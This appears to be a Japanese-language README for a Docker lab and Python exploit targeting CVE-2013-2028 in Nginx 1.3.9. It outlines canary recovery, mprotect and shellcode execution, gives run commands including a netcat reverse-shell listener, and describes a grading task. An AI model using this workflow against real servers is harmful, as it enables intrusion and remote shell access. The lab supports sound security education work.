
CVE-2013-2028(Nginx 1.3.9のチャンクパーサ整数オーバーフロー)に対するDockerベースのラボとPythonエクスプロイト。カナリアの復元、mprotect、シェルコード実行をカバーしています。
脆弱なソフトウェア: Nginx 1.3.9
脆弱な関数: ngx_http_parse_chunked
CVE-2013-2028 は、Nginx の HTTP チャンク転送エンコーディングパーサーにおける整数オーバーフローの脆弱性です。このラボ環境が対象とする条件下では、この脆弱性によりメモリ破壊が発生し、制御フローに影響を与えるために悪用される可能性があります。
このリポジトリは、脆弱性を研究し、悪用ワークフローを再現するための分離された Docker ベースの環境を提供します。
完全なエクスプロイトは、4 つの主要なフェーズで構成されています:
スタックカナリアの回復
バイト単位のプロービングによりスタックカナリアを回復します。
メモリ保護の操作
関連するアドレス情報を計算し、制御されたメモリ領域に対して mprotect を呼び出すために必要な制御フローシーケンスを構築します。
シェルコードの配置
ペイロードを制御されたメモリ領域にコピーします。
制御フローの転送
実行を制御されたメモリ領域に転送します。
完全なエクスプロイトは、脆弱なパーサーのトリガーからメモリ破壊、制御フローの操作を経て、制御されたコード実行に至るまでの進行を示しています。
exploit.py が必要とする Python 依存関係netcatホストシステム上で、設定されたポートでリスナーを起動します:
nc -lvp 4345
エクスプロイトを実行する際は、--listenerport (-lp) 引数に同じポートを使用してください。
Docker 環境をビルドして起動します:
sudo docker-compose up --build
脆弱なターゲットは、コンテナ内で Nginx 1.3.9 を実行します。
Nginx のバージョンは次のコマンドで確認できます:
docker-compose exec cve-2013-2028 /usr/local/nginx/sbin/nginx -v
次を実行します:
python3 exploit.py \
-ra 127.0.0.1 \
-rp 8081 \
-la <listener-machine-address> \
-lp <listener-machine-port>
エクスプロイトは、最終ペイロードを脆弱なターゲットに送信する前に、カナリア回復とペイロード構築の段階を実行します。
以前に回復されたカナリアが利用可能な場合は、次のように指定できます:
python3 exploit.py \
-ra 127.0.0.1 \
-rp 8081 \
-la <listener-machine-address> \
-lp <listener-machine-port> \
-c '<canary>'
このリポジトリは、脆弱性研究ワークフローの進捗を評価するための中間タスクも提供しています。
次を実行します:
python3 intermediate_task.py \
-ra 127.0.0.1 \
-rp 8081 \
-la <listener-machine-address> \
-lp <listener-machine-port>
中間タスクは、実行中の Docker ターゲットに対して直接チェックを実行します。手動で作成された証拠ファイルや手動で提供された JSON アサーションには依存しません。
このタスクは 2 つの領域を検証します:
このタスクは:
このタスクは:
nginx -t を使用して Nginx 設定を検証します。設定チェックは、Nginx 設定が構文的に有効であることを確認します。これは、それ自体で CVE-2013-2028 が緩和されたことの証明として解釈されるべきではありません。
出力例:
============================================================
CVE-2013-2028 INTERMEDIATE TASK
============================================================
Target:
nginx running: True
nginx version: 1.3.9
vulnerable build: True
Progress:
[x] vulnerability_identified
[x] configuration_validated
All required checks completed.
Exercise complete.
中間タスクは、これらの実行時チェックの結果を次に保存します:
grader_state.json
このファイルは、チェックによって生成された状態を永続化するためにのみ使用されます。これは脆弱性判定のソースではありません。
このラボ環境は、CVE-2013-2028 の影響を受ける古い Nginx リリースである Nginx 1.3.9 を意図的に使用しています。
Docker 環境は、脆弱性研究と悪用演習のための分離されたターゲットを提供します。脆弱なサービスには、ラボ設定によって公開されたインターフェースを通じてのみアクセスする必要があります。
このリポジトリは、分離されたラボ環境における教育および許可されたセキュリティ研究目的でのみ使用されることを意図しています。
所有していないシステム、または明示的なテスト許可を持たないシステムに対してエクスプロイトを実行しないでください。